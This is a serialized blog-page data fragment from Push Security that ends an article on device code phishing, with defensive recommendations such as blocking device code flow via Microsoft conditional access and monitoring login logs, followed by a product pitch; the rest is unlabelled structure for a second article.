",{"data":11195,"marks":11196,"value":11198,"nodeType":865},{},[11197],{"type":926},"GitHub",{"data":11200,"marks":11201,"value":11202,"nodeType":865},{},[]," sit in between — broad scopes are available (including full repository access), but the attacker must control their own OAuth app and the victim sees an explicit consent screen. ",{"data":11204,"content":11208,"nodeType":912},{"target":11205},{"sys":11206},{"id":11207,"type":909,"linkType":910},"ejNSC76jge1p1zzz9wwiG",[],{"data":11210,"content":11211,"nodeType":972},{},[],{"data":11213,"content":11214,"nodeType":981},{},[11215],{"data":11216,"marks":11217,"value":11219,"nodeType":865},{},[11218],{"type":926},"Security recommendations",{"data":11221,"content":11222,"nodeType":866},{},[11223],{"data":11224,"marks":11225,"value":11226,"nodeType":865},{},[],"Security teams need to consider the risk posed by device code phishing across multiple apps where device code authorization grants are common, particularly for developers and technical users. ",{"data":11228,"content":11229,"nodeType":866},{},[11230],{"data":11231,"marks":11232,"value":11233,"nodeType":865},{},[],"In an ideal world, you would simply block device code logins. But this can’t be done without causing serious disruption in some environments, while some apps simply don’t provide the tools required to do so. For example, device code is the default CLI sign-in method for GitHub. Developer-heavy organizations are likely to encounter higher levels of legitimate use.",{"data":11235,"content":11236,"nodeType":866},{},[11237,11241,11250,11254,11259,11263,11268,11272,11277],{"data":11238,"marks":11239,"value":11240,"nodeType":865},{},[],"Microsoft arguably offers the strongest control options (other than Google, who negate it right out of the gate), though they do require a fair amount of work. ",{"data":11242,"content":11244,"nodeType":889},{"uri":11243},"https://techcommunity.microsoft.com/blog/microsoft-entra-blog/new-microsoft-managed-policies-to-raise-your-identity-security-posture/4286758",[11245],{"data":11246,"marks":11247,"value":11249,"nodeType":865},{},[11248],{"type":943},"Microsoft now explicitly recommends",{"data":11251,"marks":11252,"value":11253,"nodeType":865},{},[]," blocking device code flow for tenants that haven't used it in the past 25 days. Their guidance is to create a custom CA policy: target relevant users, set the ",{"data":11255,"marks":11256,"value":11258,"nodeType":865},{},[11257],{"type":926},"Authentication Flows",{"data":11260,"marks":11261,"value":11262,"nodeType":865},{},[]," condition to block ",{"data":11264,"marks":11265,"value":11267,"nodeType":865},{},[11266],{"type":926},"Device Code Flow",{"data":11269,"marks":11270,"value":11271,"nodeType":865},{},[],", and set the grant control to ",{"data":11273,"marks":11274,"value":11276,"nodeType":865},{},[11275],{"type":926},"Block Access",{"data":11278,"marks":11279,"value":11280,"nodeType":865},{},[],". Deploy in report-only mode first to identify any legitimate device code usage, then enforce with narrow exceptions.",{"data":11282,"content":11286,"nodeType":912},{"target":11283},{"sys":11284},{"id":11285,"type":909,"linkType":910},"mQIj2o9xRzkZYKNmanB25",[],{"data":11288,"content":11289,"nodeType":866},{},[11290],{"data":11291,"marks":11292,"value":11293,"nodeType":865},{},[],"For other apps, you’re mainly limited to monitoring and response. Ensuring you’re getting authentication logs for these apps is vital, and searching for unusual access patterns (e.g. unusual login protocols, having different IPs for the authorization grant and subsequent account activity). ",{"data":11295,"content":11296,"nodeType":972},{},[],{"data":11298,"content":11299,"nodeType":981},{},[11300],{"data":11301,"marks":11302,"value":11304,"nodeType":865},{},[11303],{"type":926},"How Push Security can help",{"data":11306,"content":11307,"nodeType":866},{},[11308],{"data":11309,"marks":11310,"value":11311,"nodeType":865},{},[],"Push customers can use our browser-based capabilities to overcome the limitations of app-level controls and detect, intercept, and shut down attacks in real time. ",{"data":11313,"content":11314,"nodeType":866},{},[11315],{"data":11316,"marks":11317,"value":11318,"nodeType":865},{},[],"Our research team is already tracking multiple device code phishing campaigns and toolkits, including the EvilTokens kit. Blocking controls are already in place to prevent customers from interacting with malicious pages that match our detections for these new toolkits, ensuring that these pages can be identified and blocked in real time regardless of the infrastructure. ",{"data":11320,"content":11321,"nodeType":866},{},[11322,11326,11335],{"data":11323,"marks":11324,"value":11325,"nodeType":865},{},[],"Using Push you can also ",{"data":11327,"content":11329,"nodeType":889},{"uri":11328},"https://pushsecurity.com/help/can-i-use-push-to-help-protect-against-device-code-phishing-scenarios/",[11330],{"data":11331,"marks":11332,"value":11334,"nodeType":865},{},[11333],{"type":943},"configure in-browser warnings",{"data":11336,"marks":11337,"value":11338,"nodeType":865},{},[]," whenever a user accesses a URL used for device code logins. This provides universal, last-mile protection against even ‘zero-day’ device code phishing attacks using previously unidentified toolkits.  ",{"data":11340,"content":11344,"nodeType":912},{"target":11341},{"sys":11342},{"id":11343,"type":909,"linkType":910},"3JsbGaOKSS3INzBUJpoh1W",[],{"data":11346,"content":11347,"nodeType":866},{},[11348],{"data":11349,"marks":11350,"value":11351,"nodeType":865},{},[],"When a user visits those URLs, Push will also emit a webhook event that the banner was shown and acknowledged. If a user opts to proceed, you can treat this as a high-fidelity alert for your security team to investigate, providing app-agnostic telemetry that may not already be provided in your logs from that particular vendor. You can also simply use Push to block users from accessing device login pages if you’re confident that disruption won’t be caused. ",{"data":11353,"content":11354,"nodeType":1317},{},[11355],{"data":11356,"marks":11357,"value":2270,"nodeType":865},{},[11358],{"type":926},{"data":11360,"content":11361,"nodeType":866},{},[11362],{"data":11363,"marks":11364,"value":11365,"nodeType":865},{},[],"Push Security's browser-based security platform detects and blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. You don't need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your attack surface.",{"data":11367,"content":11368,"nodeType":866},{},[11369,11373,11382,11385,11394,11398,11406],{"data":11370,"marks":11371,"value":11372,"nodeType":865},{},[],"To learn more about Push, ",{"data":11374,"content":11376,"nodeType":889},{"uri":11375},"https://pushsecurity.com/resources/product-brochure",[11377],{"data":11378,"marks":11379,"value":11381,"nodeType":865},{},[11380],{"type":943},"check out our latest product overview",{"data":11383,"marks":11384,"value":2717,"nodeType":865},{},[],{"data":11386,"content":11388,"nodeType":889},{"uri":11387},"https://pushsecurity.com/product-demo/",[11389],{"data":11390,"marks":11391,"value":11393,"nodeType":865},{},[11392],{"type":943},"view our demo library",{"data":11395,"marks":11396,"value":11397,"nodeType":865},{},[],", or ",{"data":11399,"content":11400,"nodeType":889},{"uri":1372},[11401],{"data":11402,"marks":11403,"value":11405,"nodeType":865},{},[11404],{"type":943},"book some time with one of our team for a live demo",{"data":11407,"marks":11408,"value":1615,"nodeType":865},{},[],"Device code phishing attacks have skyrocketed: here’s what you need to know","Device code phishing is seeing a huge spike in adoption in 2026, enabling attackers to steal access tokens while bypassing standard access controls.","2026-04-04T00:00:00.000Z",{"items":11413},[11414,11416],{"sys":11415,"name":7796},{"id":7795},{"sys":11417,"name":342},{"id":4642},{"items":11419},[11420],{"fullName":11421,"firstName":11422,"jobTitle":11423,"profilePicture":11424},"Luke Jennings","Luke","Vice President, R&D",{"url":11425},"https://images.ctfassets.net/y1cdw1ablpvd/4Hosb4zKi1dA0PUyDLMe1h/27e09d894861f2196ba794037986fb08/T016S22KZ96-U02NVQM7ZD4-57761d542d83-512.jpeg",{"__typename":1429,"sys":11427,"content":11428,"title":4601,"synopsis":4602,"hashTags":59,"publishedDate":4603,"slug":4604,"tagsCollection":12497,"authorsCollection":12503},{"id":3365},{"json":11429},{"data":11430,"content":11431,"nodeType":1382},{},[11432,11445,11450,11456,11462,11467,11470,11477,11484,11499,11537,11542,11555,11558,11565,11572,11594,11626,11632,11635,11642,11649,11655,11660,11666,11669,11676,11683,11717,11747,11753,11756,11763,11770,11790,11796,11835,11841,11844,11851,11858,11894,11900,11905,11908,11915,11922,11948,11954,11959,11965,11968,11975,11982,12005,12011,12017,12023,12026,12033,12040,12046,12051,12057,12078,12101,12104,12111,12118,12124,12130,12133,12140,12195,12198,12205,12211,12479,12482],{"data":11433,"content":11434,"nodeType":866},{},[11435,11438,11442],{"data":11436,"marks":11437,"value":3376,"nodeType":865},{},[],{"data":11439,"marks":11440,"value":3381,"nodeType":865},{},[11441],{"type":926},{"data":11443,"marks":11444,"value":3385,"nodeType":865},{},[],{"data":11446,"content":11449,"nodeType":912},{"target":11447},{"sys":11448},{"id":3390,"type":909,"linkType":910},[],{"data":11451,"content":11452,"nodeType":866},{},[11453],{"data":11454,"marks":11455,"value":3398,"nodeType":865},{},[],{"data":11457,"content":11458,"nodeType":866},{},[11459],{"data":11460,"marks":11461,"value":3405,"nodeType":865},{},[],{"data":11463,"content":11466,"nodeType":912},{"target":11464},{"sys":11465},{"id":3410,"type":909,"linkType":910},[],{"data":11468,"content":11469,"nodeType":972},{},[],{"data":11471,"content":11472,"nodeType":981},{},[11473],{"data":11474,"marks":11475,"value":3422,"nodeType":865},{},[11476],{"type":926},{"data":11478,"content":11479,"nodeType":866},{},[11480],{"data":11481,"marks":11482,"value":3430,"nodeType":865},{},[11483],{"type":926},{"data":11485,"content":11486,"nodeType":866},{},[11487,11490,11496],{"data":11488,"marks":11489,"value":3437,"nodeType":865},{},[],{"data":11491,"content":11492,"nodeType":889},{"uri":3440},[11493],{"data":11494,"marks":11495,"value":3445,"nodeType":865},{},[],{"data":11497,"marks":11498,"value":3449,"nodeType":865},{},[],{"data":11500,"content":11501,"nodeType":866},{},[11502,11505,11511,11514,11518,11521,11525,11528,11534],{"data":11503,"marks":11504,"value":3456,"nodeType":865},{},[],{"data":11506,"content":11507,"nodeType":889},{"uri":3459},[11508],{"data":11509,"marks":11510,"value":3464,"nodeType":865},{},[],{"data":11512,"marks":11513,"value":2717,"nodeType":865},{},[],{"data":11515,"marks":11516,"value":3472,"nodeType":865},{},[11517],{"type":926},{"data":11519,"marks":11520,"value":3476,"nodeType":865},{},[],{"data":11522,"marks":11523,"value":3481,"nodeType":865},{},[11524],{"type":926},{"data":11526,"marks":11527,"value":3485,"nodeType":865},{},[],{"data":11529,"content":11530,"nodeType":889},{"uri":3488},[11531],{"data":11532,"marks":11533,"value":3493,"nodeType":865},{},[],{"data":11535,"marks":11536,"value":3497,"nodeType":865},{},[],{"data":11538,"content":11541,"nodeType":912},{"target":11539},{"sys":11540},{"id":3502,"type":909,"linkType":910},[],{"data":11543,"content":11544,"nodeType":866},{},[11545,11548,11552],{"data":11546,"marks":11547,"value":3510,"nodeType":865},{},[],{"data":11549,"marks":11550,"value":3515,"nodeType":865},{},[11551],{"type":926},{"data":11553,"marks":11554,"value":1615,"nodeType":865},{},[],{"data":11556,"content":11557,"nodeType":972},{},[],{"data":11559,"content":11560,"nodeType":981},{},[11561],{"data":11562,"marks":11563,"value":3529,"nodeType":865},{},[11564],{"type":926},{"data":11566,"content":11567,"nodeType":866},{},[11568],{"data":11569,"marks":11570,"value":3430,"nodeType":865},{},[11571],{"type":926},{"data":11573,"content":11574,"nodeType":866},{},[11575,11578,11584,11587,11591],{"data":11576,"marks":11577,"value":3543,"nodeType":865},{},[],{"data":11579,"content":11580,"nodeType":889},{"uri":3546},[11581],{"data":11582,"marks":11583,"value":3551,"nodeType":865},{},[],{"data":11585,"marks":11586,"value":3555,"nodeType":865},{},[],{"data":11588,"marks":11589,"value":3560,"nodeType":865},{},[11590],{"type":926},{"data":11592,"marks":11593,"value":3564,"nodeType":865},{},[],{"data":11595,"content":11596,"nodeType":866},{},[11597,11600,11606,11609,11613,11616,11623],{"data":11598,"marks":11599,"value":3571,"nodeType":865},{},[],{"data":11601,"content":11602,"nodeType":889},{"uri":3574},[11603],{"data":11604,"marks":11605,"value":3579,"nodeType":865},{},[],{"data":11607,"marks":11608,"value":3583,"nodeType":865},{},[],{"data":11610,"marks":11611,"value":3588,"nodeType":865},{},[11612],{"type":926},{"data":11614,"marks":11615,"value":3592,"nodeType":865},{},[],{"data":11617,"content":11618,"nodeType":889},{"uri":3595},[11619],{"data":11620,"marks":11621,"value":3601,"nodeType":865},{},[11622],{"type":926},{"data":11624,"marks":11625,"value":3605,"nodeType":865},{},[],{"data":11627,"content":11628,"nodeType":866},{},[11629],{"data":11630,"marks":11631,"value":3612,"nodeType":865},{},[],{"data":11633,"content":11634,"nodeType":972},{},[],{"data":11636,"content":11637,"nodeType":981},{},[11638],{"data":11639,"marks":11640,"value":3623,"nodeType":865},{},[11641],{"type":926},{"data":11643,"content":11644,"nodeType":866},{},[11645],{"data":11646,"marks":11647,"value":3631,"nodeType":865},{},[11648],{"type":926},{"data":11650,"content":11651,"nodeType":866},{},[11652],{"data":11653,"marks":11654,"value":3638,"nodeType":865},{},[],{"data":11656,"content":11659,"nodeType":912},{"target":11657},{"sys":11658},{"id":3643,"type":909,"linkType":910},[],{"data":11661,"content":11662,"nodeType":866},{},[11663],{"data":11664,"marks":11665,"value":3651,"nodeType":865},{},[],{"data":11667,"content":11668,"nodeType":972},{},[],{"data":11670,"content":11671,"nodeType":981},{},[11672],{"data":11673,"marks":11674,"value":3662,"nodeType":865},{},[11675],{"type":926},{"data":11677,"content":11678,"nodeType":866},{},[11679],{"data":11680,"marks":11681,"value":3631,"nodeType":865},{},[11682],{"type":926},{"data":11684,"content":11685,"nodeType":866},{},[11686,11689,11696,11699,11705,11708,11714],{"data":11687,"marks":11688,"value":3676,"nodeType":865},{},[],{"data":11690,"content":11691,"nodeType":889},{"uri":3679},[11692],{"data":11693,"marks":11694,"value":3685,"nodeType":865},{},[11695],{"type":943},{"data":11697,"marks":11698,"value":2717,"nodeType":865},{},[],{"data":11700,"content":11701,"nodeType":889},{"uri":3691},[11702],{"data":11703,"marks":11704,"value":3696,"nodeType":865},{},[],{"data":11706,"marks":11707,"value":2717,"nodeType":865},{},[],{"data":11709,"content":11710,"nodeType":889},{"uri":3702},[11711],{"data":11712,"marks":11713,"value":3707,"nodeType":865},{},[],{"data":11715,"marks":11716,"value":3711,"nodeType":865},{},[],{"data":11718,"content":11719,"nodeType":866},{},[11720,11723,11730,11733,11737,11740,11744],{"data":11721,"marks":11722,"value":21,"nodeType":865},{},[],{"data":11724,"content":11725,"nodeType":889},{"uri":3720},[11726],{"data":11727,"marks":11728,"value":3726,"nodeType":865},{},[11729],{"type":943},{"data":11731,"marks":11732,"value":3730,"nodeType":865},{},[],{"data":11734,"marks":11735,"value":3735,"nodeType":865},{},[11736],{"type":926},{"data":11738,"marks":11739,"value":3739,"nodeType":865},{},[],{"data":11741,"marks":11742,"value":3744,"nodeType":865},{},[11743],{"type":898},{"data":11745,"marks":11746,"value":3748,"nodeType":865},{},[],{"data":11748,"content":11749,"nodeType":866},{},[11750],{"data":11751,"marks":11752,"value":3755,"nodeType":865},{},[],{"data":11754,"content":11755,"nodeType":972},{},[],{"data":11757,"content":11758,"nodeType":981},{},[11759],{"data":11760,"marks":11761,"value":3766,"nodeType":865},{},[11762],{"type":926},{"data":11764,"content":11765,"nodeType":866},{},[11766],{"data":11767,"marks":11768,"value":3631,"nodeType":865},{},[11769],{"type":926},{"data":11771,"content":11772,"nodeType":866},{},[11773,11776,11780,11783,11787],{"data":11774,"marks":11775,"value":3780,"nodeType":865},{},[],{"data":11777,"marks":11778,"value":3785,"nodeType":865},{},[11779],{"type":898},{"data":11781,"marks":11782,"value":3789,"nodeType":865},{},[],{"data":11784,"marks":11785,"value":3794,"nodeType":865},{},[11786],{"type":898},{"data":11788,"marks":11789,"value":3798,"nodeType":865},{},[],{"data":11791,"content":11792,"nodeType":866},{},[11793],{"data":11794,"marks":11795,"value":3805,"nodeType":865},{},[],{"data":11797,"content":11798,"nodeType":1616},{},[11799,11817],{"data":11800,"content":11801,"nodeType":1570},{},[11802],{"data":11803,"content":11804,"nodeType":866},{},[11805,11808,11814],{"data":11806,"marks":11807,"value":1449,"nodeType":865},{},[],{"data":11809,"content":11810,"nodeType":889},{"uri":3820},[11811],{"data":11812,"marks":11813,"value":3825,"nodeType":865},{},[],{"data":11815,"marks":11816,"value":3829,"nodeType":865},{},[],{"data":11818,"content":11819,"nodeType":1570},{},[11820],{"data":11821,"content":11822,"nodeType":866},{},[11823,11826,11832],{"data":11824,"marks":11825,"value":1449,"nodeType":865},{},[],{"data":11827,"content":11828,"nodeType":889},{"uri":3841},[11829],{"data":11830,"marks":11831,"value":3846,"nodeType":865},{},[],{"data":11833,"marks":11834,"value":3850,"nodeType":865},{},[],{"data":11836,"content":11837,"nodeType":866},{},[11838],{"data":11839,"marks":11840,"value":3857,"nodeType":865},{},[],{"data":11842,"content":11843,"nodeType":972},{},[],{"data":11845,"content":11846,"nodeType":981},{},[11847],{"data":11848,"marks":11849,"value":3868,"nodeType":865},{},[11850],{"type":926},{"data":11852,"content":11853,"nodeType":866},{},[11854],{"data":11855,"marks":11856,"value":3876,"nodeType":865},{},[11857],{"type":926},{"data":11859,"content":11860,"nodeType":866},{},[11861,11864,11868,11871,11877,11880,11884,11887,11891],{"data":11862,"marks":11863,"value":3883,"nodeType":865},{},[],{"data":11865,"marks":11866,"value":3888,"nodeType":865},{},[11867],{"type":926},{"data":11869,"marks":11870,"value":3892,"nodeType":865},{},[],{"data":11872,"content":11873,"nodeType":889},{"uri":1929},[11874],{"data":11875,"marks":11876,"value":3899,"nodeType":865},{},[],{"data":11878,"marks":11879,"value":3903,"nodeType":865},{},[],{"data":11881,"marks":11882,"value":3908,"nodeType":865},{},[11883],{"type":926},{"data":11885,"marks":11886,"value":3912,"nodeType":865},{},[],{"data":11888,"marks":11889,"value":3917,"nodeType":865},{},[11890],{"type":926},{"data":11892,"marks":11893,"value":3921,"nodeType":865},{},[],{"data":11895,"content":11896,"nodeType":866},{},[11897],{"data":11898,"marks":11899,"value":3928,"nodeType":865},{},[],{"data":11901,"content":11904,"nodeType":912},{"target":11902},{"sys":11903},{"id":3933,"type":909,"linkType":910},[],{"data":11906,"content":11907,"nodeType":972},{},[],{"data":11909,"content":11910,"nodeType":981},{},[11911],{"data":11912,"marks":11913,"value":3945,"nodeType":865},{},[11914],{"type":926},{"data":11916,"content":11917,"nodeType":866},{},[11918],{"data":11919,"marks":11920,"value":3953,"nodeType":865},{},[11921],{"type":926},{"data":11923,"content":11924,"nodeType":866},{},[11925,11928,11935,11938,11945],{"data":11926,"marks":11927,"value":3960,"nodeType":865},{},[],{"data":11929,"content":11930,"nodeType":889},{"uri":3963},[11931],{"data":11932,"marks":11933,"value":3969,"nodeType":865},{},[11934],{"type":926},{"data":11936,"marks":11937,"value":3973,"nodeType":865},{},[],{"data":11939,"content":11940,"nodeType":889},{"uri":3976},[11941],{"data":11942,"marks":11943,"value":3982,"nodeType":865},{},[11944],{"type":926},{"data":11946,"marks":11947,"value":3986,"nodeType":865},{},[],{"data":11949,"content":11950,"nodeType":866},{},[11951],{"data":11952,"marks":11953,"value":3993,"nodeType":865},{},[],{"data":11955,"content":11958,"nodeType":912},{"target":11956},{"sys":11957},{"id":3998,"type":909,"linkType":910},[],{"data":11960,"content":11961,"nodeType":866},{},[11962],{"data":11963,"marks":11964,"value":4006,"nodeType":865},{},[],{"data":11966,"content":11967,"nodeType":972},{},[],{"data":11969,"content":11970,"nodeType":981},{},[11971],{"data":11972,"marks":11973,"value":4017,"nodeType":865},{},[11974],{"type":926},{"data":11976,"content":11977,"nodeType":866},{},[11978],{"data":11979,"marks":11980,"value":4025,"nodeType":865},{},[11981],{"type":926},{"data":11983,"content":11984,"nodeType":866},{},[11985,11988,11992,11995,12002],{"data":11986,"marks":11987,"value":4032,"nodeType":865},{},[],{"data":11989,"marks":11990,"value":4037,"nodeType":865},{},[11991],{"type":898},{"data":11993,"marks":11994,"value":4041,"nodeType":865},{},[],{"data":11996,"content":11997,"nodeType":889},{"uri":4044},[11998],{"data":11999,"marks":12000,"value":4050,"nodeType":865},{},[12001],{"type":926},{"data":12003,"marks":12004,"value":4054,"nodeType":865},{},[],{"data":12006,"content":12007,"nodeType":866},{},[12008],{"data":12009,"marks":12010,"value":4061,"nodeType":865},{},[],{"data":12012,"content":12013,"nodeType":866},{},[12014],{"data":12015,"marks":12016,"value":4068,"nodeType":865},{},[],{"data":12018,"content":12019,"nodeType":866},{},[12020],{"data":12021,"marks":12022,"value":4075,"nodeType":865},{},[],{"data":12024,"content":12025,"nodeType":972},{},[],{"data":12027,"content":12028,"nodeType":981},{},[12029],{"data":12030,"marks":12031,"value":4086,"nodeType":865},{},[12032],{"type":926},{"data":12034,"content":12035,"nodeType":866},{},[12036],{"data":12037,"marks":12038,"value":4094,"nodeType":865},{},[12039],{"type":926},{"data":12041,"content":12042,"nodeType":866},{},[12043],{"data":12044,"marks":12045,"value":4101,"nodeType":865},{},[],{"data":12047,"content":12050,"nodeType":912},{"target":12048},{"sys":12049},{"id":4106,"type":909,"linkType":910},[],{"data":12052,"content":12053,"nodeType":866},{},[12054],{"data":12055,"marks":12056,"value":4114,"nodeType":865},{},[],{"data":12058,"content":12059,"nodeType":1616},{},[12060,12069],{"data":12061,"content":12062,"nodeType":1570},{},[12063],{"data":12064,"content":12065,"nodeType":866},{},[12066],{"data":12067,"marks":12068,"value":4127,"nodeType":865},{},[],{"data":12070,"content":12071,"nodeType":1570},{},[12072],{"data":12073,"content":12074,"nodeType":866},{},[12075],{"data":12076,"marks":12077,"value":4137,"nodeType":865},{},[],{"data":12079,"content":12080,"nodeType":866},{},[12081,12084,12091,12094,12098],{"data":12082,"marks":12083,"value":4144,"nodeType":865},{},[],{"data":12085,"content":12086,"nodeType":889},{"uri":4147},[12087],{"data":12088,"marks":12089,"value":4153,"nodeType":865},{},[12090],{"type":926},{"data":12092,"marks":12093,"value":4157,"nodeType":865},{},[],{"data":12095,"marks":12096,"value":4162,"nodeType":865},{},[12097],{"type":898},{"data":12099,"marks":12100,"value":4166,"nodeType":865},{},[],{"data":12102,"content":12103,"nodeType":972},{},[],{"data":12105,"content":12106,"nodeType":981},{},[12107],{"data":12108,"marks":12109,"value":4177,"nodeType":865},{},[12110],{"type":926},{"data":12112,"content":12113,"nodeType":866},{},[12114],{"data":12115,"marks":12116,"value":4185,"nodeType":865},{},[12117],{"type":926},{"data":12119,"content":12120,"nodeType":866},{},[12121],{"data":12122,"marks":12123,"value":4192,"nodeType":865},{},[],{"data":12125,"content":12126,"nodeType":866},{},[12127],{"data":12128,"marks":12129,"value":4199,"nodeType":865},{},[],{"data":12131,"content":12132,"nodeType":972},{},[],{"data":12134,"content":12135,"nodeType":981},{},[12136],{"data":12137,"marks":12138,"value":4210,"nodeType":865},{},[12139],{"type":926},{"data":12141,"content":12142,"nodeType":1616},{},[12143,12156,12169,12182],{"data":12144,"content":12145,"nodeType":1570},{},[12146],{"data":12147,"content":12148,"nodeType":866},{},[12149,12153],{"data":12150,"marks":12151,"value":4224,"nodeType":865},{},[12152],{"type":926},{"data":12154,"marks":12155,"value":4228,"nodeType":865},{},[],{"data":12157,"content":12158,"nodeType":1570},{},[12159],{"data":12160,"content":12161,"nodeType":866},{},[12162,12166],{"data":12163,"marks":12164,"value":4239,"nodeType":865},{},[12165],{"type":926},{"data":12167,"marks":12168,"value":4243,"nodeType":865},{},[],{"data":12170,"content":12171,"nodeType":1570},{},[12172],{"data":12173,"content":12174,"nodeType":866},{},[12175,12179],{"data":12176,"marks":12177,"value":4254,"nodeType":865},{},[12178],{"type":926},{"data":12180,"marks":12181,"value":4258,"nodeType":865},{},[],{"data":12183,"content":12184,"nodeType":1570},{},[12185],{"data":12186,"content":12187,"nodeType":866},{},[12188,12192],{"data":12189,"marks":12190,"value":781,"nodeType":865},{},[12191],{"type":926},{"data":12193,"marks":12194,"value":4272,"nodeType":865},{},[],{"data":12196,"content":12197,"nodeType":972},{},[],{"data":12199,"content":12200,"nodeType":981},{},[12201],{"data":12202,"marks":12203,"value":4283,"nodeType":865},{},[12204],{"type":926},{"data":12206,"content":12207,"nodeType":866},{},[12208],{"data":12209,"marks":12210,"value":4290,"nodeType":865},{},[],{"data":12212,"content":12213,"nodeType":2927},{},[12214,12237,12259,12281,12303,12325,12347,12369,12391,12413,12435,12457],{"data":12215,"content":12216,"nodeType":2400},{},[12217,12227],{"data":12218,"content":12219,"nodeType":2366},{},[12220],{"data":12221,"content":12222,"nodeType":866},{},[12223],{"data":12224,"marks":12225,"value":4307,"nodeType":865},{},[12226],{"type":926},{"data":12228,"content":12229,"nodeType":2366},{},[12230],{"data":12231,"content":12232,"nodeType":866},{},[12233],{"data":12234,"marks":12235,"value":4318,"nodeType":865},{},[12236],{"type":926},{"data":12238,"content":12239,"nodeType":2400},{},[12240,12250],{"data":12241,"content":12242,"nodeType":2366},{},[12243],{"data":12244,"content":12245,"nodeType":866},{},[12246],{"data":12247,"marks":12248,"value":4332,"nodeType":865},{},[12249],{"type":926},{"data":12251,"content":12252,"nodeType":2366},{},[12253],{"data":12254,"content":12255,"nodeType":866},{},[12256],{"data":12257,"marks":12258,"value":4342,"nodeType":865},{},[],{"data":12260,"content":12261,"nodeType":2400},{},[12262,12272],{"data":12263,"content":12264,"nodeType":2366},{},[12265],{"data":12266,"content":12267,"nodeType":866},{},[12268],{"data":12269,"marks":12270,"value":4356,"nodeType":865},{},[12271],{"type":926},{"data":12273,"content":12274,"nodeType":2366},{},[12275],{"data":12276,"content":12277,"nodeType":866},{},[12278],{"data":12279,"marks":12280,"value":4366,"nodeType":865},{},[],{"data":12282,"content":12283,"nodeType":2400},{},[12284,12294],{"data":12285,"content":12286,"nodeType":2366},{},[12287],{"data":12288,"content":12289,"nodeType":866},{},[12290],{"data":12291,"marks":12292,"value":4380,"nodeType":865},{},[12293],{"type":926},{"data":12295,"content":12296,"nodeType":2366},{},[12297],{"data":12298,"content":12299,"nodeType":866},{},[12300],{"data":12301,"marks":12302,"value":4390,"nodeType":865},{},[],{"data":12304,"content":12305,"nodeType":2400},{},[12306,12316],{"data":12307,"content":12308,"nodeType":2366},{},[12309],{"data":12310,"content":12311,"nodeType":866},{},[12312],{"data":12313,"marks":12314,"value":4404,"nodeType":865},{},[12315],{"type":926},{"data":12317,"content":12318,"nodeType":2366},{},[12319],{"data":12320,"content":12321,"nodeType":866},{},[12322],{"data":12323,"marks":12324,"value":4414,"nodeType":865},{},[],{"data":12326,"content":12327,"nodeType":2400},{},[12328,12338],{"data":12329,"content":12330,"nodeType":2366},{},[12331],{"data":12332,"content":12333,"nodeType":866},{},[12334],{"data":12335,"marks":12336,"value":4428,"nodeType":865},{},[12337],{"type":926},{"data":12339,"content":12340,"nodeType":2366},{},[12341],{"data":12342,"content":12343,"nodeType":866},{},[12344],{"data":12345,"marks":12346,"value":4438,"nodeType":865},{},[],{"data":12348,"content":12349,"nodeType":2400},{},[12350,12360],{"data":12351,"content":12352,"nodeType":2366},{},[12353],{"data":12354,"content":12355,"nodeType":866},{},[12356],{"data":12357,"marks":12358,"value":4452,"nodeType":865},{},[12359],{"type":926},{"data":12361,"content":12362,"nodeType":2366},{},[12363],{"data":12364,"content":12365,"nodeType":866},{},[12366],{"data":12367,"marks":12368,"value":4462,"nodeType":865},{},[],{"data":12370,"content":12371,"nodeType":2400},{},[12372,12382],{"data":12373,"content":12374,"nodeType":2366},{},[12375],{"data":12376,"content":12377,"nodeType":866},{},[12378],{"data":12379,"marks":12380,"value":4476,"nodeType":865},{},[12381],{"type":926},{"data":12383,"content":12384,"nodeType":2366},{},[12385],{"data":12386,"content":12387,"nodeType":866},{},[12388],{"data":12389,"marks":12390,"value":4486,"nodeType":865},{},[],{"data":12392,"content":12393,"nodeType":2400},{},[12394,12404],{"data":12395,"content":12396,"nodeType":2366},{},[12397],{"data":12398,"content":12399,"nodeType":866},{},[12400],{"data":12401,"marks":12402,"value":4500,"nodeType":865},{},[12403],{"type":926},{"data":12405,"content":12406,"nodeType":2366},{},[12407],{"data":12408,"content":12409,"nodeType":866},{},[12410],{"data":12411,"marks":12412,"value":4510,"nodeType":865},{},[],{"data":12414,"content":12415,"nodeType":2400},{},[12416,12426],{"data":12417,"content":12418,"nodeType":2366},{},[12419],{"data":12420,"content":12421,"nodeType":866},{},[12422],{"data":12423,"marks":12424,"value":4524,"nodeType":865},{},[12425],{"type":926},{"data":12427,"content":12428,"nodeType":2366},{},[12429],{"data":12430,"content":12431,"nodeType":866},{},[12432],{"data":12433,"marks":12434,"value":4534,"nodeType":865},{},[],{"data":12436,"content":12437,"nodeType":2400},{},[12438,12448],{"data":12439,"content":12440,"nodeType":2366},{},[12441],{"data":12442,"content":12443,"nodeType":866},{},[12444],{"data":12445,"marks":12446,"value":4548,"nodeType":865},{},[12447],{"type":926},{"data":12449,"content":12450,"nodeType":2366},{},[12451],{"data":12452,"content":12453,"nodeType":866},{},[12454],{"data":12455,"marks":12456,"value":4558,"nodeType":865},{},[],{"data":12458,"content":12459,"nodeType":2400},{},[12460,12470],{"data":12461,"content":12462,"nodeType":2366},{},[12463],{"data":12464,"content":12465,"nodeType":866},{},[12466],{"data":12467,"marks":12468,"value":4239,"nodeType":865},{},[12469],{"type":926},{"data":12471,"content":12472,"nodeType":2366},{},[12473],{"data":12474,"content":12475,"nodeType":866},{},[12476],{"data":12477,"marks":12478,"value":4581,"nodeType":865},{},[],{"data":12480,"content":12481,"nodeType":972},{},[],{"data":12483,"content":12484,"nodeType":866},{},[12485,12488,12494],{"data":12486,"marks":12487,"value":4591,"nodeType":865},{},[],{"data":12489,"content":12490,"nodeType":889},{"uri":1372},[12491],{"data":12492,"marks":12493,"value":1378,"nodeType":865},{},[],{"data":12495,"marks":12496,"value":21,"nodeType":865},{},[],{"items":12498},[12499,12501],{"sys":12500,"name":297},{"id":2310},{"sys":12502,"name":2314},{"id":2313},{"items":12504},[12505],{"fullName":4614,"firstName":4615,"jobTitle":4616,"profilePicture":12506},{"url":4618},{"__typename":1429,"sys":12508,"content":12510,"title":13335,"synopsis":13336,"hashTags":59,"publishedDate":13337,"slug":13338,"tagsCollection":13339,"authorsCollection":13345},{"id":12509},"211Dd0EIrXPOFpvRgs0fEE",{"json":12511},{"data":12512,"content":12513,"nodeType":1382},{},[12514,12533,12552,12569,12575,12578,12586,12593,12600,12607,12614,12622,12625,12633,12640,12647,12654